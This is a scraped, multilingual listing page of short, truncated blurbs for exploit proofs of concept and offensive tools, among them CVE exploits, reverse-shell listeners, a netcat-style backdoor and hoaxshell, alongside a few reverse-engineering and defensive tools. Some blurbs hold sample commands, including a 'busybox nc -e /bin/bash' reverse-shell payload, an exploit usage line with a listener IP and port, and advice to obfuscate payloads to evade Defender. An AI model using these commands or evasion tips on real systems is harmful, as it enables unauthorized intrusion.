s2-062

s2-062 远程代码执行S2-062 CVE-2021-31805验证POC 验证方式 vulfocus靶场问题 poc里面是验证s2-061靶场的，参数为id，新靶场参数为name 判断是id主要是因为想不到windows和linux有什么好的通用命令回显判断特征 靶场应该是无回显的原因，所以看不到指令 不过可以反弹shell和dnslog探测 针对无回显的...

nili

Nili Nili is a Tool for Network Scan, Man in the Middle, Protocol Reverse Engineering and Fuzzing. Prerequisites Python - Python Programming Language Scapy - Interactive Packet Manipulation Program Netzob - Protocol Reverse Engineering, Modeling and Fuzzing Installing Here is some Instructions...

ofrak

OFRAK OFRAK Open Firmware Reverse Analysis Konsole は、バイナリ解析および修正プラットフォームです。OFRAK は以下の機能を組み合わせています。 識別 および 展開 ：多くのバイナリ形式を 解析 ：展開済みバイナリを実績あるリバースエンジニアリングツールで解析 修正 および 再パック ：強力なパッチ戦略でバイナリを修正・再パック OFRAK はユーザースペース実行可能ファイル以外にも、以下のようなさまざまな組み込みファームウェアファイル形式をサポートしています。 圧縮ファイルシステム 圧縮＆チェックサム付きファームウェア ブートローダー...

CVE-2021-31630

CVE-2021-31630 Fellipe Oliveira による PoC CVE-2021-31630 スクリプトを HTB 向けに修正しました。 使い方 'Example usage: exploit.py -u http://target-uri:8080 -l admin -p admin -i 192.168.1.54 -r 4444 -P program.st"...

Joomla_CVE-2015-8562

JoomlaCVE-2015-8562 JoomlaのCVE-2015-8562脆弱性（オブジェクトインジェクションRCE）の概念実証 イントロ/変更履歴 このPoCは、exploit-dbで公開されている実装の第2バージョンです。 root@kitploit: -修正: セッションの再生成 -X-Forwarded-ForからUser-Agentメソッドへの切り替えオプションを追加 -Pythonリバースシェルからbashへの切り替えオプションを追加 -欠落したhttpスキーマとスクリプト終了の例外キャッチを追加 -使いやすさ、メッセージと色の改善のために編集 -TODO:...

ghidra_kernelcache

ghidrakernelcache: a Ghidra iOS kernelcache framework for reverse engineering This framework is the end product of my experience in Kernelcache reverse engineering , I usually look for vulnerabilities by manually auditing the kernel and its extensions and have automated most of the things that I...

SmileySploit

SmileySploit 一个利用 CVE-2011-2523 的基础脚本 概述 2011 年，在运行 2.3.4 版本的 vsFTPd 服务器上发现了一个集成后门，使用笑脸表情 ":" 会触发与攻击者的反向连接。因此，编写一个利用脚本并获取易受此漏洞影响的系统访问权限变得极其容易。通过在身份验证期间使用上述表情，后门即被触发，攻击者随后可以连接到 6200 端口上的 shell。 运行方法 直接用 Python 运行 exploit.py 文件即可。请确保先通过 Pip 安装 Pwntools。...

CVE-2023-38831_Exploit

CVE-2023-38831 漏洞利用概念验证 概述 此仓库包含一个 Python 脚本，展示了针对 CVE-2023-38831 的概念验证（PoC）利用。该漏洞利用特定文件处理机制中的缺陷，通过恶意 RAR 文件执行反向 Shell 载荷。 免责声明： 本项目仅用于教育目的和合乎道德的安全研究。未经事先同意，未经授权使用此代码入侵系统或网络是非法且不道德的。作者不承担任何因滥用造成的责任。 工作原理 该脚本自动化创建恶意 RAR 文件的过程，利用 CVE-2023-38831 漏洞。它将 Python 反向 Shell 脚本嵌入到精心构造的文件结构中，从而隐蔽地执行。 执行步骤： 1...

CVE-2021-44228

CVE-2021-44228 Log4Shell 概念验证（CVE-2021-44228） 请确保使用 Java 8 JDK。 Java 8 下载 图片 致谢 Casey Dunham - Java 反向 Shell kozmer - 初始 PoC 法律声明 该脚本的作者对这段代码的使用方式不 承担任何责任！此代码仅用于研究、开发和教学目的。...

CVE-2025-24893

CVE-2025-24893 的反向 Shell root@kitploit: python3 CVE-2025-24893.py -u http://wiki.editor.htb/ -c "busybox nc -e /bin/bash" 升级 Shell 1. python3 -c 'import pty; pty.spawn"/bin/bash"' 2. ctrl + z 3. stty size 4. stty raw -echo; fg 5. stty rows x columns y 6. export TERM=xterm...

Codeine

Codeine root@kitploit: .o88b. .d88b. d8888b. d88888b d888888b d8b db d88888b d8P Y8 .8P Y8. 88 8D 88' 88' 888o 88 88' 8P 88 88 88 88 88ooooo 88 88V8o 88 88ooooo 8b 88 88 88 88 88 88 88 V8o88 88 Y8b d8 8b d8' 88 .8D 88. .88. 88 V888 88. Y88P' Y88P' Y8888D' Y88888P Y888888P VP V8P Y88888P Codeine 是...

Vision-MSI-Thermal-Control

Vision MSI Thermal Control MSI Modern 15H AI C1MG-096IT Linux thermal management - Reverse engineered EC control with fan profiles and battery threshold 🎯 Purpose of this Project This application was born out of necessity for MSI laptop users on Linux. The journey began when I discovered that...

POC_CVE-2025-32433

⚠️ 道德免责声明 这个仓库包含演示真实 CVE（CVE-2025-32433）的代码。 只在你有明确授权的环境中使用它 。 绝不要针对你不拥有或管理的系统测试此漏洞利用程序。 未经授权的使用是非法的、不道德的，并且对网络安全社区有害。 CVE-2025-32433 的模拟与真实 PoC 我的兄弟 Chocapikk 给我看了这个发现的 PoC erlingcve.py，我很感兴趣，想在一个安全的环境中测试它。 对于这个仓库，你有两个选择：下面我列出的安全模拟脚本和系统。 或者你可以使用真正的 erlingcve.py（以合乎道德的方式、谨慎行事，并且只在你有权测试的网络上使用）。...

ctf-skills

ctf-skills Agent Skills for solving CTF challenges — web exploitation, binary pwn, crypto, reverse engineering, forensics, OSINT, and more. Works with any tool that supports the Agent Skills spec, including Claude Code. インストールbash npx skills add ljagiello/ctf-skills root@kitploit: Friday Studio...

exploitation-course

OFFENSIVE SECURITY & REVERSE ENGINEERING OSRE Course This repository is for the Offensive Security and Reverse Engineering Offensive Software Exploitation Course I used to teaching at Champlain College and currently sharing it for free online check the YouTube channel for the recordings. Most of...

filtron

Filtron リクエストを異なるルールでフィルタリングするリバースHTTPプロキシ。 プロダクションWebサーバとアプリケーションサーバの間で使用し、アプリケーションバックエンドの悪用を防ぐことができます。 このプログラムの本来の目的はsearxを防御することでしたが、あらゆるWebアプリケーションを保護するために使用できます。 インストールとセットアップ root@kitploit: $ go install github.com/asciimoo/filtron $ "$GOPATH/bin/filtron" --help ルール ルールには必須属性が2つあります: name と...

filtron

Filtron Reverse HTTP proxy to filter requests by different rules. Can be used between production webserver and the application server to prevent abuse of the application backend. The original purpose of this program was to defend searx, but it can be used to guard any web application. Installatio...

serval

A Netcat style backdoor for pentesting and pentest challenges Serval is a lightweight, easy-to-use, binary for spawning reverse and bind shells for pentests or pentesting exercises. Serval is cross platform and can be compiled for both Windows 32 & 64-bit and Linux 32 and 64-bit. Note: Due to the...

hoaxshell

hoaxshell ⚡ The latest version of this project is the HoaxShell standalone listener which comes with refreshed payload templates. Wou can also use it directly from https://revshells.com make sure to choose hoaxshell as the listener. ⚠️ As of 2022-10-18, hoaxshell is detected by AMSI...

hoaxshell

hoaxshell ⚡ 本项目的最新版本是 HoaxShell 独立监听器，它带有更新的有效载荷模板。你也可以直接从 https://revshells.com 使用（确保选择 hoaxshell 作为监听器）。 ⚠️ 截至 2022-10-18，hoaxshell 已被 AMSI 检测到（恶意软件百科）。你需要混淆生成的有效载荷才能使用。查看本视频了解如何手动混淆并绕过 MS Defender： Hoaxshell 示例 - youtube.com/watch?v=iElVfagdCD4 常见 PowerShell 反弹 shell 模板示例 -...